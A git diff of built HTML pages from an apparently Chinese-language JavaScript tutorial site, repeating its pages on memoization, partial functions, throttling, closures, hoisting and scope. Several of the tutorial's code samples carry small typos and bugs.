                                实现原理:将参数和对应的结果保存在对象中,再次调用时,判断对象 key 是否存在,存在返回缓存的值。

                                function memorize() {
                                const cache = {};
                                return function() {
                                const key = Array.prototype.call(arguments, ',');
                                if (key in cache) {
                                return cache[key];
                                }
                                return (cache[key] = fn.apply(this, arguments));
                                };
                                }
                                +

                                  函数记忆

                                  函数记忆: 指将上次的(计算结果)缓存起来,当下次调用时,如果遇到相同的(参数),就直接返回(缓存中的数据)。

                                  实现原理:将参数和对应的结果保存在对象中,再次调用时,判断对象 key 是否存在,存在返回缓存的值。

                                  function memorize() {
                                  const cache = {};
                                  return function() {
                                  const key = Array.prototype.call(arguments, ',');
                                  if (key in cache) {
                                  return cache[key];
                                  }
                                  return (cache[key] = fn.apply(this, arguments));
                                  };
                                  }
                                  - + diff --git a/core-modules/ecmascript-function-objects/function-types/partial-function/index.html b/core-modules/ecmascript-function-objects/function-types/partial-function/index.html index 1136be3b9..86b43267d 100644 --- a/core-modules/ecmascript-function-objects/function-types/partial-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/partial-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                                  const plus5 = addition.bind(null, 5);
                                  plus5(10);
                                  // 15
                                  plus5(25);
                                  // 30

                                  我们预先传入参数 5,并返回一个新函数赋值给 plus5,此函数可以接受剩余的参数。调用 plus5 传入剩余参数 10 得到最终结果 15,又传入参数 20 得到结果 30。偏函数通过设定预设值,帮助哦我们实现代码上的复用。

                                  实现偏函数

                                  在 Underscore.js 和 Lodash 均有实现 partial 偏函数,这里稍微实现一下:

                                  var _ = {};
                                  -
                                  function partial(fn) {
                                  var args = [].slice.call(arguments, 1);
                                  return function() {
                                  var position = 0,
                                  leng = args.length;
                                  for (var i = 0; i < len; i++) {
                                  args[i] = args[i] === _ ? arguments[position++] : args[i];
                                  }
                                  while (position < arguments.length) args.push(arguments[position++]);
                                  return fn.apply(this, args);
                                  };
                                  }

                                  参考资料:

                                  +
                                  function partial(fn) {
                                  var args = [].slice.call(arguments, 1);
                                  return function() {
                                  var position = 0,
                                  leng = args.length;
                                  for (var i = 0; i < len; i++) {
                                  args[i] = args[i] === _ ? arguments[position++] : args[i];
                                  }
                                  while (position < arguments.length) args.push(arguments[position++]);
                                  return fn.apply(this, args);
                                  };
                                  }

                                  参考资料:

                                  - + diff --git a/core-modules/ecmascript-function-objects/function-types/sleep-function/index.html b/core-modules/ecmascript-function-objects/function-types/sleep-function/index.html index 48615727c..34ef1f9a0 100644 --- a/core-modules/ecmascript-function-objects/function-types/sleep-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/sleep-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                                  sleep(1000)
                                  .next()
                                  .value.then(() => {
                                  console.log('Hello world!');
                                  });

                                  Async/Await 实现

                                  function sleep(time) {
                                  return new Promise(function(resolve) {
                                  setTimeout(resolve, time);
                                  });
                                  }
                                  async function test() {
                                  const res = await sleep(1000);
                                  console.log('Hello world!');
                                  return res;
                                  }
                                  // 延迟 1000ms 输出 "Hello world!"

                                  使用 node-sleep

                                  const sleep = requir('node-sleep');
                                  const sec = 10;
                                  -
                                  sleep.sleep(sec);
                                  // Sleep for sec seconds
                                  sleep.msleep(sec);
                                  // Sleep for sec milliseconds
                                  sleep.usleep(sec);
                                  // Sleep for sec microseconds(1 second is 1000000 microseconds)
                                  +
                                  sleep.sleep(sec);
                                  // Sleep for sec seconds
                                  sleep.msleep(sec);
                                  // Sleep for sec milliseconds
                                  sleep.usleep(sec);
                                  // Sleep for sec microseconds(1 second is 1000000 microseconds)
                                  - + diff --git a/core-modules/ecmascript-function-objects/function-types/structure-function/index.html b/core-modules/ecmascript-function-objects/function-types/structure-function/index.html index 62cc71727..37647bc67 100644 --- a/core-modules/ecmascript-function-objects/function-types/structure-function/index.html +++ b/core-modules/ecmascript-function-objects/function-types/structure-function/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                                  const person1 = new Person();
                                  console.log(person1.constructor === Person);
                                  // true
                                  1. 从实例中新建另一个实例
                                  function Person(){};
                                  const person1 = new Person(){};
                                  const person2 = new person1.constructor();
                                  -
                                  console.log(person2 instanceof Person);
                                  // true
                                  1. 由于 constructor 属性是一种原型对象和构造函数的关系,所以在修改原型对象对的时候,一定要注意 constructor 的指向问题,避免 instanceof 失真。

                                  与普通函数对比

                                  在命名规则上,构造函数一般是首字母大写,普通函数遵照小驼峰式命名法。

                                  在函数调用的时候:

                                  构造函数普通函数
                                  new Fn()fn()
                                  构造函数内部会创建一个新的对象,即 Fn 的实例在调用函数的内部不会创建新的对象
                                  函数内部的 this 指向 新创建的 Fn 的实例函数内部的 this 指向调用函数的对象(如果没有对象调用,默认是 window
                                  默认的返回值是 Fn 的实例返回值由 return 语句决定

                                  构造函数的返回值:

                                  有一个默认的返回值,新创建的实例对象。

                                  当手动添加返回值后(return 语句):

                                  1. 返回值是基本数据类型的话,真正的返回值还是那个新创建的实例对象
                                  2. 返回值是复杂数据类型(对象)的话,真正的返回值是这个对象
                                  +
                                  console.log(person2 instanceof Person);
                                  // true
                                  1. 由于 constructor 属性是一种原型对象和构造函数的关系,所以在修改原型对象对的时候,一定要注意 constructor 的指向问题,避免 instanceof 失真。

                                  与普通函数对比

                                  在命名规则上,构造函数一般是首字母大写,普通函数遵照小驼峰式命名法。

                                  在函数调用的时候:

                                  构造函数普通函数
                                  new Fn()fn()
                                  构造函数内部会创建一个新的对象,即 Fn 的实例在调用函数的内部不会创建新的对象
                                  函数内部的 this 指向 新创建的 Fn 的实例函数内部的 this 指向调用函数的对象(如果没有对象调用,默认是 window
                                  默认的返回值是 Fn 的实例返回值由 return 语句决定

                                  构造函数的返回值:

                                  有一个默认的返回值,新创建的实例对象。

                                  当手动添加返回值后(return 语句):

                                  1. 返回值是基本数据类型的话,真正的返回值还是那个新创建的实例对象
                                  2. 返回值是复杂数据类型(对象)的话,真正的返回值是这个对象
                                  - + diff --git a/core-modules/ecmascript-function-objects/function-types/throttle/index.html b/core-modules/ecmascript-function-objects/function-types/throttle/index.html index a6d083eea..0edd3176e 100644 --- a/core-modules/ecmascript-function-objects/function-types/throttle/index.html +++ b/core-modules/ecmascript-function-objects/function-types/throttle/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,15 +36,15 @@
                                  return function (...args) {
                                  const now = +new Date();
                                  if (last && now < last + timeout) {
                                  clearTimeout(timer);
                                  timer = setTimeout(() => {
                                  last = now;
                                  fun.apply(this, args);
                                  }, timeout);
                                  } else {
                                  last = now;
                                  fn.apply(this, args);
                                  }
                                  };
                                  }

                                  应用实践

                                  原生实现应用

                                  首次点击按钮触发 trigger 函数,在 1000 毫秒内频繁点击按钮也不会再次执行 trigger 函数,直到 1000 毫秒之后再次点击才会再次执行 trigger 函数。

                                  const button = document.getElementById('button');
                                  function trigger() {
                                  console.log('click');
                                  }
                                  -
                                  button.addEventListener('click', throttle(trigger, 1000));

                                  React 应用

                                  在 React 中使用,下面监听窗口的 resize 和输入框的 onChange 事件:

                                  import React, { Component } from 'react';
                                  import { throttle } from '@utils/throttle';
                                  -
                                  export default class Invoke extends Component {
                                  constructor() {
                                  super();
                                  this.change = throttle((e) => {
                                  console.log(e.target.value);
                                  console.log('throttle');
                                  }, 100);
                                  }
                                  handleWindowResize() {
                                  console.log('resize');
                                  }
                                  componentDidMount() {
                                  window.addEventListener('resize', throttle(this.handleWindowResize, 100));
                                  }
                                  componentWillUnmount() {
                                  window.removeEvenetListener('resize', throttle(this.handleWindowResize), 100);
                                  }
                                  handleInputChange = (e) => {
                                  // 持久化
                                  e.persist();
                                  this.change(e);
                                  };
                                  -
                                  render() {
                                  return <input type="text" onChange={this.handleInputChange} />;
                                  }
                                  }

                                  其他框架库的实现:

                                  应用场景

                                  常见的高频触发监听事件的应用场景:

                                  总结:适合大量事件按时间做平均分配触发

                                  应用实践

                                  页面滚动事件

                                  这里以判断页面是否滚动到底部为例,普通的做法就是监听 Window 对象的 scroll 事件,然后在函数体中写入判断是否滚动到底部的逻辑。

                                  $(window).on('scroll', function () {
                                  // 判断是否滚动到底部的逻辑
                                  let pageHeight = $('body').height(),
                                  scrollTop = $(window).scrollTop(),
                                  winHeight = $(window).height(),
                                  thresold = pageHeight - scrollTop - winHeight;
                                  -
                                  if (thresod > -100 && thresold <= 20) {
                                  console.log('The end');
                                  }
                                  });

                                  这样做的一个缺点就是比较消耗性能,因为当在滚动的时候,浏览器会无时无刻地在计算判断是否滚动到底部的逻辑,而在实际场景中是不需要这么做的,在实际场景中可能是这样的:在滚动过程中,每隔一段时间再去计算这个判断逻辑。而函数节流所做的工作就是每隔一段时间去执行一次原本需要无时无刻地在执行的函数,所以在滚动事件中引入函数的节流是一个非常好的实践。

                                  $(window).on(
                                  'scroll',
                                  throttle(function () {
                                  // 判断是否滚动到底部的逻辑
                                  let pageHeight = $('body').height(),
                                  scrollTop = $(window).scrollTop(),
                                  winHeight = $(window).height(),
                                  thresold = pageHeight - scrollTop - winHeight;
                                  if (thresold > -100 && thresold <= 20) {
                                  console.log('end');
                                  }
                                  }, 300)
                                  );

                                  加入函数节流之后,当页面再滚动的时候,每隔 300ms 才会执行一次判断逻辑。

                                  简单来说,函数的节流就是通过闭包保存一个标记(通常是定时器标识),在函数的开头判断这个标记是否为 true ,如果为 true 的话就继续执行函数,否则则 return 掉,判断完标记后立即把这个标记设为 false ,然后把外部传入的函数的执行包在一个 setTimeout 中,最后在 setTimeout 执行完毕后再把标记设置为 true (这里很关键),表示可以执行下一次的循环了。当 setTimeout 还未执行的时候,canRun 这个标记始终为 false,在开头的判断中被 return 掉。

                                  function throttle(fn, interval = 300) {
                                  let canRun = true;
                                  return function () {
                                  if (!canRun) return;
                                  canRun = false;
                                  setTimeout(() => {
                                  fn.apply(this.arguments);
                                  canRun = true;
                                  }, interval);
                                  };
                                  }

                                  参考资料

                                  +
                                  button.addEventListener('click', throttle(trigger, 1000));

                                  React 应用

                                  在 React 中使用,下面监听窗口的 resize 和输入框的 onChange 事件:

                                  import React, { Component } from 'react';
                                  import { throttle } from '@utils/throttle';
                                  +
                                  export default class Invoke extends Component {
                                  constructor() {
                                  super();
                                  this.change = throttle((e) => {
                                  console.log(e.target.value);
                                  console.log('throttle');
                                  }, 100);
                                  }
                                  handleWindowResize() {
                                  console.log('resize');
                                  }
                                  componentDidMount() {
                                  window.addEventListener('resize', throttle(this.handleWindowResize, 100));
                                  }
                                  componentWillUnmount() {
                                  window.removeEvenetListener('resize', throttle(this.handleWindowResize), 100);
                                  }
                                  handleInputChange = (e) => {
                                  // 持久化
                                  e.persist();
                                  this.change(e);
                                  };
                                  +
                                  render() {
                                  return <input type="text" onChange={this.handleInputChange} />;
                                  }
                                  }

                                  其他框架库的实现:

                                  应用场景

                                  常见的高频触发监听事件的应用场景:

                                  总结:适合大量事件按时间做平均分配触发

                                  应用实践

                                  页面滚动事件

                                  这里以判断页面是否滚动到底部为例,普通的做法就是监听 Window 对象的 scroll 事件,然后在函数体中写入判断是否滚动到底部的逻辑。

                                  $(window).on('scroll', function () {
                                  // 判断是否滚动到底部的逻辑
                                  let pageHeight = $('body').height(),
                                  scrollTop = $(window).scrollTop(),
                                  winHeight = $(window).height(),
                                  thresold = pageHeight - scrollTop - winHeight;
                                  +
                                  if (thresod > -100 && thresold <= 20) {
                                  console.log('The end');
                                  }
                                  });

                                  这样做的一个缺点就是比较消耗性能,因为当在滚动的时候,浏览器会无时无刻地在计算判断是否滚动到底部的逻辑,而在实际场景中是不需要这么做的,在实际场景中可能是这样的:在滚动过程中,每隔一段时间再去计算这个判断逻辑。而函数节流所做的工作就是每隔一段时间去执行一次原本需要无时无刻地在执行的函数,所以在滚动事件中引入函数的节流是一个非常好的实践。

                                  $(window).on(
                                  'scroll',
                                  throttle(function () {
                                  // 判断是否滚动到底部的逻辑
                                  let pageHeight = $('body').height(),
                                  scrollTop = $(window).scrollTop(),
                                  winHeight = $(window).height(),
                                  thresold = pageHeight - scrollTop - winHeight;
                                  if (thresold > -100 && thresold <= 20) {
                                  console.log('end');
                                  }
                                  }, 300)
                                  );

                                  加入函数节流之后,当页面再滚动的时候,每隔 300ms 才会执行一次判断逻辑。

                                  简单来说,函数的节流就是通过闭包保存一个标记(通常是定时器标识),在函数的开头判断这个标记是否为 true ,如果为 true 的话就继续执行函数,否则则 return 掉,判断完标记后立即把这个标记设为 false ,然后把外部传入的函数的执行包在一个 setTimeout 中,最后在 setTimeout 执行完毕后再把标记设置为 true (这里很关键),表示可以执行下一次的循环了。当 setTimeout 还未执行的时候,canRun 这个标记始终为 false,在开头的判断中被 return 掉。

                                  function throttle(fn, interval = 300) {
                                  let canRun = true;
                                  return function () {
                                  if (!canRun) return;
                                  canRun = false;
                                  setTimeout(() => {
                                  fn.apply(this.arguments);
                                  canRun = true;
                                  }, interval);
                                  };
                                  }

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/blocks-as-scopes/index.html b/core-modules/executable-code-and-execution-contexts/compilation/blocks-as-scopes/index.html index 2a04a0a27..6f4deb467 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/blocks-as-scopes/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/blocks-as-scopes/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -48,12 +51,12 @@
                                  console.log(bar);
                                  }
                                  function zoo() {
                                  var bar = 1;
                                  {
                                  var bar = 2;
                                  }
                                  console.log(bar);
                                  }
                                  -
                                  foo(); // 1
                                  zoo(); // 2

                                  在 ECMAScript 6 的发展阶段,被广泛认可的变量声明方式是:默认情况下应当使用 let 而不是 var

                                  对于多数 JavaScript 开发者来说, let 的行为方式正是 var 本应有的方式,因此直接用 let 替代 var 更符合逻辑。在这种情况下,你应当对 需要受到保护的变量 使用 const

                                  在默认情况下使用 const ,而只在你知道变量值 需要被更改 的情况下才使用 let 。这在代码中能确保基本层次的不可变性,有助于防止某些类型的错误。

                                  +
                                  foo(); // 1
                                  zoo(); // 2

                                  在 ECMAScript 6 的发展阶段,被广泛认可的变量声明方式是:默认情况下应当使用 let 而不是 var

                                  对于多数 JavaScript 开发者来说, let 的行为方式正是 var 本应有的方式,因此直接用 let 替代 var 更符合逻辑。在这种情况下,你应当对 需要受到保护的变量 使用 const

                                  在默认情况下使用 const ,而只在你知道变量值 需要被更改 的情况下才使用 let 。这在代码中能确保基本层次的不可变性,有助于防止某些类型的错误。

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/closures/index.html b/core-modules/executable-code-and-execution-contexts/compilation/closures/index.html index 1a20f7d3f..877a91de6 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/closures/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/closures/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -40,12 +43,12 @@
                                  // 全局执行上下文
                                  global = {
                                  VO: [global],
                                  Scope: [globalContext.VO],
                                  this: globalContext.VO
                                  }
                                  // 函数foo被创建,保存作用域链到函数内部属性[[Scopes]]
                                  foo.[[Scopes]] = [
                                  globalContext.VO
                                  ]
                                  // foo函数执行上下文
                                  fooContext = {
                                  AO: {
                                  a: undefined,
                                  bar: function () {
                                  console.log(a);
                                  },
                                  arguments: [],
                                  },
                                  Scope: [AO, globalContext.VO],
                                  this: undefined,
                                  };
                                  // bar 函数执行上下文
                                  barContext = {
                                  AO: {
                                  a: undefined,
                                  arguments: [],
                                  },
                                  Scope: [AO, globalContext.VO],
                                  this: undefined,
                                  };

                                  bar 函数执行的时候,foo 函数上下文已经被销毁了(亦即从执行上下文栈中被弹出),怎么还会读取到 foo 作用域下的 a 值呢?

                                  当我们了解了具体的执行过程后,我们知道 bar 函数执行上下文维护了一个作用域链:

                                  barContext = {
                                  Scope: [AO, fooContext.AO, globalContext.VO],
                                  };

                                  对的,就是因为这个作用域链,bar 函数依然可以读取到 fooContext.AO 的值,说明当 bar 函数引用了 fooContext.AO 中的值的时候,即使 fooContext 被销毁了,但是 JavaScript 依然会让 fooContext.AO 活在内存中,bar 函数依然可以通过 bar 函数的作用域链找到它,正是因为 JavaScript 做到了这一点,从而实现了闭包这个概念。

                                  应用场景

                                  闭包的常见应用场景:

                                  function hoc(a, b) {
                                  return function () {
                                  console.log(a, b);
                                  };
                                  }
                                  const fn = hoc(1, 2);
                                  -
                                  setTimeout(fn, 3000);

                                  一般 setTimeout 的第一个参数是个函数,但是不能传值。如果想传值进去,可以调用一个函数返回一个内部函数的调用,将内部函数的调用传给 setTimeout。内部函数执行所需的参数,外部函数传给他,在 setTimeout 函数中也可以访问到外部函数。

                                  优缺点

                                  如果不是因为某些特殊任务而需要闭包,在没有必要的情况下,在其他函数中创建函数是不明智的,因为闭包对脚本性能具有负面影响,包括处理速度和内存消耗。

                                  参考资料

                                  +
                                  setTimeout(fn, 3000);

                                  一般 setTimeout 的第一个参数是个函数,但是不能传值。如果想传值进去,可以调用一个函数返回一个内部函数的调用,将内部函数的调用传给 setTimeout。内部函数执行所需的参数,外部函数传给他,在 setTimeout 函数中也可以访问到外部函数。

                                  优缺点

                                  如果不是因为某些特殊任务而需要闭包,在没有必要的情况下,在其他函数中创建函数是不明智的,因为闭包对脚本性能具有负面影响,包括处理速度和内存消耗。

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/compilation/index.html b/core-modules/executable-code-and-execution-contexts/compilation/compilation/index.html index 4ed56bf1d..a21dcdd25 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/compilation/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/compilation/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                                  编译阶段

                                  编译原理

                                  JavaScript 是一门编译语言。与传统的编译语言不同的是,JavaScript 不是提前编译的,编译结果也不能在分布式系统中进行移植。

                                  在传统编译语言的流程中,程序中的一段源代码在执行之前会经历三个步骤,统称为 编译

                                  1. 分词 / 词法分析
                                  2. 解析 / 语法分析
                                  3. 代码生成

                                  分词和词法分析

                                  词法分析(Tokenizing / Lexing)这个过程会将由字符组成的字符串分解成有意义的代码块(对编程语言来说),这些代码块被称为 词法单元(Token)。

                                  🌰 代码示例

                                  const a = 2;

                                  这段程序通常会被分解成为下列词法单元:vara=2;

                                  空格是否会被当作词法单元,取决于空格在这门语言中是否具有意义。

                                  分词(Tokenizing)和词法分析(Lexing)之间的主要差异在于词法单元的识别是通过有状态还是无状态的方式进行的。简单来说,如果词法单元生成器在判断 a 是一个独立的词法单元还是其他词法单元的一部分时,调用的是 有状态的解析规则,那么这个过程就被称为 词法分析

                                  解析和语法分析

                                  语法分析(Parsing) 这个过程是将词法单元流转换成一个 由元素逐级嵌套所组成 的代表了程序语法结构的树。这个树被称为 抽象语法树(Abstract Syntax Tree,AST 在各大框架及 Babel 中我们都会看到它的身影)。

                                  代码生成

                                  将 AST 转换为可执行代码的过程被称为 代码生成。这个过程与语言、目标平台等息息相关。 抛开具体细节,简单来说就是有某种方法可以将 var a = 2; 的 AST 转化为一组 机器指令:创建一个叫做 a 的变量(包括 分配内存 等),并将一个值存储在变量 a 中。

                                  通过上述三个阶段,浏览器已经可以运行我们得到的 可执行代码,这三个阶段还有一个合称叫 编译阶段。我们把之后对可执行代码的执行称为 运行阶段

                                  编译过程

                                  编译过程中的关键角色:

                                  • 引擎:从头到尾负责整个 JavaScript 程序的编译及执行过程
                                  • 编译器:负责语法分析及代码生成等步骤
                                  • 作用域:负责收集并维护由所有声明的标识符(变量)组成的一系列查询,并实施一套非常严格的规则,确定当前执行的代码对这些标识符的访问权限

                                  编译过程详解

                                  const a = 2;

                                  通过以上论述可以得知,编译器首先会将这段代码分解成词法单元,然后将词法单元解构成一个树结构(AST),但是当编译器开始进行代码生成时,它对这段代码的处理方式会和预期的情况有所不同。

                                  当我们看到这行代码,用伪代码与别人进行概括时,可能会表述为:为一个变量分配内存,并将其命名为变量 a,然后将值 2 保存到这个变量(内存)中。

                                  然而,这并不完全正确。

                                  事实上编译器会进行如下操作:

                                  1. 执行流遇到 var a,编译器会询问作用域是否已经有一个该名称的变量存在于同一个作用域的集合中。如果是,编译器会忽略该声明,继续进行编译;否则它会要求作用域在当前作用域的集合中声明一个新的变量,并命名为a
                                  2. 接下来编译器会为引擎生成运行所需的代码,这些代码被用来处理 a = 2 这个赋值操作。引擎运行时会首先询问作用域,在当前的作用域集合中,是否存在一个叫作 a 的变量,如果是,引擎就会使用这个变量;如果否,引擎就会继续查找该变量。

                                  总结起来就是:

                                  • 编译器在作用域声明变量(如果没有)

                                  • 引擎在运行这些代码时查找该变量,如果作用域中有该变量则进行赋值

                                  在上面的第二步中,引擎执行运行时所需的代码时,会通过查找变量 a 来判断它是否已经声明过。查找的过程由作用域进行协助,但是引擎执行怎么查找,会影响最终的查找结果。

                                  还是 var a = 2; 这个例子,引擎会为变量 a 进行 LHS 查询。当然还有一种 RHS 查询。

                                  那么 LHS 和 RHS 查询是什么呢?

                                  这里的 L 代表左侧,R 代表右侧。通俗且不严谨的解释 LHS 和 RHS 的含义就是:当变量出现在赋值操作的左侧时进行 LHS 查询,出现在右侧时进行 RHS 查询。

                                  那么描述的更准确的一点,RHS 查询与简单的查找某个变量的值毫无二致,而 LHS 查询则是试图找到变量的容器本身,从而可以对其赋值。

                                  从这个角度说,RHS 并不是真正意义上的"赋值操作的右侧",更准确的说是"非左侧"。所以,我们可以将 RHS 理解成 Retrieve his source value(取到它的源值),这意味着,"得到某某的值"。

                                  那我们来看一段代码深入理解一下 LHS 与 RHS。

                                  function foo(a) {
                                  console.log(a);
                                  }
                                  foo(2);
                                  • console.log(a) 中,变量 a 的引用是一个 RHS 引用,因为我们是取到 a 的值。并将这个值传递给 console.log(…) 方法
                                  • 相比之下,例如: a = 2 ,调用 foo(2) 时,隐式的进行了赋值操作。这里对 a 的引用就是 LHS 引用,因为我们实际上不关心当前的值时什么,只要想把 =2 这个赋值操作找到一个目标。

                                  LHS 和 RHS 的含义是 赋值操作的左侧或右侧 并不一定意味着就是 = 赋值操作符的左侧或右侧

                                  赋值操作还有其他几种形式,因此在概念上最好将其理解 赋值操作的目标是谁(LHS) 以及 谁是赋值操作的源头(RHS)。

                                  当然上面的程序并不只有一个 LHS 和 RHS 引用:

                                  function foo(a) {
                                  // 这里隐式的进行了对形参 a 的 LHS 引用。
                                  // 这里对 log() 方法进行了 RHS 引用,询问 console 对象上是否有 log() 方法。
                                  // 对 log(a) 方法内的 a 进行 RHS 引用,取到 a 的值。
                                  console.log(a);
                                  // 2
                                  }
                                  -
                                  // 此处调用 foo() 方法,需要调用对 foo 的 RHS 引用。意味着"去找foo这个值,并把它给我"
                                  foo(2);

                                  需要注意的是:我们经常会将函数声明 function foo(a) {...} 转化为普通的变量赋值(函数表达式) var foo = function(a) {},这样去理解的话,这个函数是 LHS 查询。但是有一个细微的差别,编译器可以在代码生成的同时处理声明和值的定义,比如引擎执行代码时,并不会有线程专门用来将一个函数值"分配给" foo,因此,将函数声明理解成前面讨论的 LHS 查询和赋值的形式并不合适。

                                  💡 综上所述,作用域是一套 标识符的查询规则(注意这里的用词是规则),JavaScript 编译引擎执行时根据查找的目的进行 LHS 与 RHS 查询。这套查询规则确定标识符在何处(当前作用域、上层作用域或全局作用域)以及如何查找(LHS、RHS)。

                                  +
                                  // 此处调用 foo() 方法,需要调用对 foo 的 RHS 引用。意味着"去找foo这个值,并把它给我"
                                  foo(2);

                                  需要注意的是:我们经常会将函数声明 function foo(a) {...} 转化为普通的变量赋值(函数表达式) var foo = function(a) {},这样去理解的话,这个函数是 LHS 查询。但是有一个细微的差别,编译器可以在代码生成的同时处理声明和值的定义,比如引擎执行代码时,并不会有线程专门用来将一个函数值"分配给" foo,因此,将函数声明理解成前面讨论的 LHS 查询和赋值的形式并不合适。

                                  💡 综上所述,作用域是一套 标识符的查询规则(注意这里的用词是规则),JavaScript 编译引擎执行时根据查找的目的进行 LHS 与 RHS 查询。这套查询规则确定标识符在何处(当前作用域、上层作用域或全局作用域)以及如何查找(LHS、RHS)。

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/function-as-scopes/index.html b/core-modules/executable-code-and-execution-contexts/compilation/function-as-scopes/index.html index 741ebc8e2..c89784773 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/function-as-scopes/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/function-as-scopes/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -42,12 +45,12 @@
                                  function foo() {
                                  // <-- 添加这一行
                                  const a = 3;
                                  console.log(a); // 3
                                  } // <-- 以及这一行
                                  foo(); // <-- 以及这一行
                                  console.log(a); // 2

                                  虽然这种技术可以解决一些问题,但是它并不理想,因为会导致一些额外的问题。首先,必须声明一个具名函数 foo() ,意味着 foo 这个名称本身"污染"了所在作用域(在这个例子中是全局作用域)。其次,必须显式地通过函数名foo()调用这个函数才能运行其中的代码。

                                  如果函数不需要函数名(或者至少函数名可以不污染所在作用域),并且能够自动运行,这将会更加理想。

                                  匿名和具名函数表达式

                                  无论是匿名还是具名,都是针对 函数表达式 的。函数声明必须有名称,否则报错。

                                  // 函数声明
                                  function foo() {
                                  // do something
                                  }

                                  而函数表达式可以有名称也可以没有名称。

                                  匿名函数表达式:

                                  let foo = function () {
                                  // do something
                                  };
                                  console.log(foo.name);
                                  // foo

                                  具名函数表达式:

                                  // 不要这样写
                                  let bar = function foobar() {
                                  // do something
                                  };
                                  console.log(bar.name);
                                  // foobar

                                  对于函数表达式最熟悉的场景可能就是回调参数了。

                                  setTimeout(function () {
                                  console.log('I waited 1 second!');
                                  }, 1000);

                                  这叫 匿名函数表达式,因为 function(){} 是没有名称的标识符。

                                  ⚠️ 注意:函数表达式可以是匿名的,而 函数声明 是不可以省略函数名。

                                  匿名函数表达式的缺点:

                                  行内函数表达式非常强大且有用——匿名和具名之间的区别并不会对这点有任何影响。给函数表达式指定一个函数名可以有效解决以上问题。始终给函数表达式命名时一个最佳实践。

                                  立即执行函数表达式 IIFE

                                  立即执行函数表达式 又称 自执行函数,社区给他规定了术语为 IIFE(Immediately Invoked Function Expression)。

                                  🌰 代码示例

                                  (function () {
                                  // do something
                                  console.log('IIFE');
                                  })();

                                  IIFE 的另一个非常普遍的进阶用法是把它们当作函数调用并传递参数进去。

                                  var a = 2;
                                  (function IIFE(global) {
                                  var a = 3;
                                  console.log(a);
                                  // 3
                                  console.log(global.a);
                                  // 2
                                  })(window);
                                  -
                                  console.log(a);
                                  // 2
                                  +
                                  console.log(a);
                                  // 2
                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/hoisting/index.html b/core-modules/executable-code-and-execution-contexts/compilation/hoisting/index.html index 1cc91372e..2c27ba66d 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/hoisting/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/hoisting/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -48,12 +51,12 @@
                                  function a() {
                                  console.log(1);
                                  }
                                  a();
                                  // 1

                                  函数声明覆盖

                                  后面的函数声明会覆盖前面的函数声明。

                                  a();
                                  // 2
                                  function a() {
                                  console.log(1);
                                  }
                                  -
                                  function a() {
                                  console.log(2);
                                  }

                                  所以,应该避免在同一作用域中重复声明。

                                  +
                                  function a() {
                                  console.log(2);
                                  }

                                  所以,应该避免在同一作用域中重复声明。

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/index.html b/core-modules/executable-code-and-execution-contexts/compilation/index.html index 874e465e4..fb7cbc318 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/executable-code-and-execution-contexts/compilation/lexical-scope/index.html b/core-modules/executable-code-and-execution-contexts/compilation/lexical-scope/index.html index 642b88365..5285db6bd 100644 --- a/core-modules/executable-code-and-execution-contexts/compilation/lexical-scope/index.html +++ b/core-modules/executable-code-and-execution-contexts/compilation/lexical-scope/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                                  foo(2); // 2, 4, 12

                                  在这个例子中有三个逐级嵌套的作用域。为了帮助理解,可以将它们想象成几个逐级包含的气泡。

                                  Webpack执行流程

                                  作用域气泡由其对应的作用域代码写在哪里决定,它们是 逐级包含 的。现在只需要假设每一个函数都会创建一个新的作用域气泡就好了。

                                  bar 的气泡被完全包含在 foo 所创建的气泡中,唯一的原因是那里就是我们希望定义函数 bar 的位置。

                                  查找

                                  作用域气泡的结构和互相之间的位置关系给引擎提供了足够的位置信息,引擎利用这些信息来查找标识符的位置。

                                  在上个代码片段中,引擎执行 console.log 声明,并依次查找 abc 三个变量的引用。

